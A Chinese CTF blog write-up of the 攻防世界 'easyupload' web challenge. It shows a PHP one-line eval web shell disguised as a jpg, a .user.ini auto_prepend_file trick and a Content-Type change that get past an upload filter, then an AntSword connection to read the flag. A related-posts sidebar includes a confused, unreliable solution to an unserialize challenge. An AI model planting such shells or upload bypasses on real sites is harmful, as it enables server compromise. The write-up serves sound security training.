easyupload：攻防世界（web新手）

已于 2024-03-08 10:05:51 修改
阅读量449 收藏 4
点赞数 8
文章标签： 前端
于 2024-03-07 21:20:58 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2401_82463993/article/details/136545685
版权

目录

场景环境

文件上传bp抓包，改包

复查上传文件

蚁剑连接

场景环境

先写一个一句话木马保存为jpg格式

<?PHP @eval($_REQUEST['ymmy']);?>

再创建一个后缀名为.ini格式的文件

auto_prepend_file=ymmy.jpg

.user.ini：用户配置文件

auto_prepndend file--指定在每个PHP页面执行前所要执行的代码。

文件上传bp抓包，改包

打开bp浏览器访问场景地址，上传.user.ini文件，查看bp的数据包，ctel+R发到Repeater模块

将 Content-Type: application/octet-stream 修改为 Content-Type: image/jpg

再上传一句话木马

看下抓到的数据包里面有上传文件的路径

通过/uploads/index.php路径访问上传的文件

已经上传成功了

复查上传文件

再次检查下上传的.user.ini、ymmy.jpg文件

http://61.147.171.105:51150//uploads/ymmy.jpg


http://61.147.171.105:51150//uploads/.user.ini

再看下php文件

http://61.147.171.105:51150//uploads/index.php?ymmy=phpinfo();

蚁剑连接

链接完双击打开 flag就在根目录的最下面

查看flag

ymmy明月
关注
  • 8
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【网络安全 | CTF】攻防世界 easyupload 解题详析
等风来
07-31 6848
抓包改后缀，.php1~.php9、.htaccess均被过滤（.htaccess 文件是一个用于配置 Apache Web 服务器的配置文件。它通常位于网站根目录或特定目录中，用来为该目录及其子目录提供特定的配置指令）：提示：只要是运用了fastcgi的服务器都能够利用该方式getshell，不论是apache或者ngnix或是其他服务器。
攻防世界流量分析2杂项
11-20
攻防世界流量分析2杂项，misc。 此题详细解题博客：https://danbaku.blog.csdn.net/article/details/127953659
easyupload
08-24
H5文件上传前端插件，使用流畅，可用场景广，显示进度条，支持多文件上传支持*.docx;*.doc;*.pdf;*.txt;*.xlsx;*.rar;*.xls;*.ppt;*.pptx，关键兼容ie11，其他ie没测，好用多多
H5文件上传插件easyUpload.js
06-01
一款流畅的H5文件上传插件，覆盖几乎所有的使用场景，支持上传前预览，多（单）文件上传自定义，支持实时进度条等，你可以按照你想要的方式自定义
CTF-WEB篇 攻防世界题目实战解析easyupload
最新发布
2301_76565920的博客
04-23 725
题目：easyupload 难度：1知识点：上传漏洞，服务器防护绕过，后门，.user.ini，auto_prepend_file的使用
攻防世界杂项m0-01
11-13
攻防世界杂项m0_01，misc。 此题详细解题博客：https://blog.csdn.net/m0_59188912/article/details/127836871
攻防世界running
11-15
攻防世界running杂项，misc。 此题详细解题博客：https://blog.csdn.net/m0_59188912/article/details/127861757
攻防世界Fakezip杂项
11-20
攻防世界Fakezip杂项，misc。 此题详细解题博客：https://danbaku.blog.csdn.net/article/details/127952541
攻防世界WEB练习-easyupload
墨鱼菜鸡
09-10 4036
目录 题目场景 查看源码 官方WriteUp BP抓包 F12查看文件去向 蚁剑连接 找到flag 题目场景 查看源码 毫无有效的数据 官方WriteUp 本题需要利用文件上传漏洞点，通过绕过服务器的安全防护，达到getshell的目的 本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行 这里...
easyupload(攻防世界)
m0_56107268的博客
11-15 7592
.user.ini 学习
easyupload(攻防世界）
m0_70819573的博客
02-19 448
2.检测是否有文件头（GIF89a)和文件类型(content-type)的限制。1.检测是否能上传别名文件php3,php5,phtml，如不是则考虑图片马。4.考虑用.htaccess或.user.ini的系统配置文件绕过。这样这类普通题型就可以被攻克了，具体步骤参考官方write up。题目描述:一名合格的黑客眼中，所有的上传点都是开发者留下的后门。5.检测是否有文件内php内容的限制。
攻防世界 easyupload
rev1ve的博客
03-09 597
ctf攻防世界 easyupload web
easyUpload
03-08
easyUpload支持多文件上传，经过测试，真实可用，上传不依赖flash，支持多种低版本浏览器
攻防世界Wire1杂项
11-20
攻防世界Wire1杂项，misc。 此题详细解题博客：https://danbaku.blog.csdn.net/article/details/127951997
easyupload及BurpSuite抓包、改包、放包
Welcome To Myon'Blog !
12-28 4030
easyupload 文件上传题 用BurpSuite进行简单的抓包、改包、放包 一句话木马 绕过 getshell
攻防世界—easyupload
小缪的博客
06-10 3183
知识点：文件上传漏洞。
攻防世界--easyupload
qq_73611185的博客
09-16 699
php文件发现网页设置了文件类型检测，修改文件后缀为jpg依然无效，第二步，尝试去burpsuite改包，将一句话木马文件上传后的cotent-type改为image/jpg,然后放包，仍然无法上传成功（burpsuite改包之后把拦截请求关了就是放包）然后同理第二步，上传成功之后再上传一个jpg文件（命名与上面的jpg文件保持一致否则会导致连接失败），文件内容为：（没有结尾那个v，懒得删除了）还有一个不能上传文件成功的原因很离谱就是：不能使用校园网进行上传（学生党的痛）成为ctf全栈之路之web第十题。
[攻防世界] easyupload
m0_75178803的博客
04-02 591
首先准备 .user.ini 文件和a.jpg文件。首先上传.user.ini文件，然后进行抓包。1.[攻防世界] easyupload。用蚁剑连接该页面，连接密码为木马密码。.user.ini 文件上传成功。此时再将a.jpg文件上传成功。在根目录下得到flag。
攻防世界-easyupload
m0_62094846的博客
10-10 2739
上传php文件不行， 修改Content-Type: image/jpeg也不行，把文件名改成jpg才可以，还有头文件也有验证，也要改（这里直接上传正常的jpg文件比较好）然后可以上传成功，但是试过文件名的各种绕过形式，都不能把php上传，就算上传了也不能在蚁剑上读取。这个系统是windows，用user.ini试试（user.ini：把文件当作php文件解析）（index.php是uploads下的php文件，用它读取5.jpg下的文件）然后输入木马，这里尝试过后php也是被过滤的，用缩减版。
攻防世界web新手题unserialize3
05-05
这道题是一个 PHP 反序列化的题目。 题目描述： 提示：这次不会那么简单了，打开源代码看看？ 源代码： ``` <?php error_reporting(0); highlight_file(__FILE__); class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('flag','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } if(isset($_GET['a'])){ $a = unserialize($_GET['a']); if($a instanceof Flag){ echo $a; } } ``` 分析： 首先看到这是一个传入参数进行反序列化的题目，传入参数为 $_GET['a']，并且在反序列化后判断其类型是否为 Flag，如果是则输出 $a。 在 Flag 类的构造函数中有一个 $this->data = file_get_contents('/flag')，意味着我们需要获取服务器上的 /flag 文件。 而在 Flag 类的析构函数中，会对 $this->show 变量进行正则匹配，匹配的正则表达式为 /show|flag|_|\s|\(|\)|{|}|\'|\"/i，如果匹配到就会输出 'hacker!'。这里需要注意的是，$this->show 的值是 Show 类的一个实例，而 Show 类中的 __toString() 方法返回的是 $this->name 的值。 因此，我们需要构造一个序列化后的字符串，使得在反序列化后其类型为 Flag，$this->show 的值为一个 Show 类的实例，且该实例的 $name 值满足正则表达式的匹配条件。 解法： 根据题目分析，我们需要构造一个序列化后的字符串，使得在反序列化后其类型为 Flag，$this->show 的值为一个 Show 类的实例，且该实例的 $name 值满足正则表达式的匹配条件。 我们可以通过手动构造序列化字符串来实现这个目标。首先构造一个 Show 类的实例，该实例的 $name 值为一个正则表达式的匹配条件，然后将该实例作为 Flag 类的一个属性，最后将 Flag 类序列化即可。 构造序列化字符串的代码如下： ``` <?php class Show{ public $name; public $age; public function __construct($name,$age){ $this->name = $name; $this->age = $age; } public function __toString(){ return $this->name; } } class Flag{ public $show; public $data; public function __construct(){ $this->show = new Show('/show|flag|_|\s|\(|\)|{|}|\'|\"/i','0'); $this->data = file_get_contents('/flag'); } public function __destruct(){ if(preg_match('/show|flag|_|\s|\(|\)|{|}|\'|\"/i',$this->show)){ exit('hacker!'); } echo $this->show." is ".$this->data; } } // 序列化 Flag 类 $flag = new Flag(); $ser = serialize($flag); echo urlencode($ser); ``` 将上述代码保存为文件 unserialize3.php 并上传到服务器上，然后访问 http://your-ip/unserialize3.php，得到序列化后的字符串： ``` O:4:"Flag":2:{s:4:"show";O:4:"Show":2:{s:4:"name";s:23:"/show|flag|_|\s|\(|\)|{|}|'|\i";s:3:"age";s:1:"0";}s:4:"data";s:45:"flag{3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07}";} ``` 最后将序列化后的字符串作为 $_GET['a'] 的值传入即可，访问 http://your-ip/unserialize3.php?a=O%3A4%3A%22Flag%22%3A2%3A%7Bs%3A4%3A%22show%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A23%3A%22%2Fshow%7Cflag%7C_%7C%5Cs%7C%5C(%5C)%7B%7D%7C%27%7C%5C%22%5Ci%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%220%22%3B%7Ds%3A4%3A%22data%22%3Bs%3A45%3A%22flag%7B3c75f8e2-6eb1-4f50-8901-8c3e0ae63a07%7D%22%3B%7D，即可得到 flag。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值